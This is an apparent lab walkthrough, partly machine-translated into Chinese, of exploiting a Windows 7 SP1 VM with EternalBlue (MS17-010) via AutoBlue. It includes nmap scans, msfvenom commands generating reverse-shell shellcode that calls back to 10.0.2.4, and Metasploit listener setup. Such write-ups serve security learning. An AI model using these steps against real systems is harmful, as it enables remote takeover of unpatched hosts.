nmap -Pn $t Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 13:59 EDT Nmap scan report for 10.0.2.6 Host is up (0.00077s latency). Not shown: 991 closed tcp ports (conn-refused) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49158/tcp open unknown # --- sudo nmap -A -p 139, 445 $t Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 14:16 EDT Nmap scan report for 10.0.2.6 Host is up (0.00038s latency). PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Windows 7 Ultimate 7601 Service Pack 1 netbios-ssn ...
我们从中得到的有用的服务版本是 Windows 7 Ultimate 7601 Service Pack 1。
Let's compile them windoos shellcodezzz Compiling x64 kernel shellcode Compiling x86 kernel shellcode kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n) y LHOST for reverse connection: 10.0.2.4 LPORT you want x64 to listen on: 44444 LPORT you want x86 to listen on: 44445 Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell 1 Type 0 to generate a staged payload or 1 to generate a stageless payload 0 Generating x64 cmd shell (staged)... msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=44444 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 511 bytes Saved as: sc_x64_msf.bin Generating x86 cmd shell (staged)... msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=44445 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 375 bytes Saved as: sc_x86_msf.bin MERGING SHELLCODE WOOOO!!! DONE
听众
现在 shellcode 已经准备好了,让我们设置监听器。 cd .. 回到此存储库的根目录中。使用以下输入运行 ./listener_prep.sh :
┌──(venv)(hakcypuppy㉿kali)-[~/blue/AutoBlue-MS17-010] └─$ ./listener_prep.sh __ /,- ||) \\_, ) `--' Enternal Blue Metasploit Listener LHOST for reverse connection: 10.0.2.4 LPORT for x64 reverse connection: 44444 LPORT for x86 reverse connection: 44445 Enter 0 for meterpreter shell or 1 for regular cmd shell: 1 Type 0 if this is a staged payload or 1 if it is for a stageless payload 0 Starting listener (staged)... Starting postgresql (via systemctl): postgresql.service.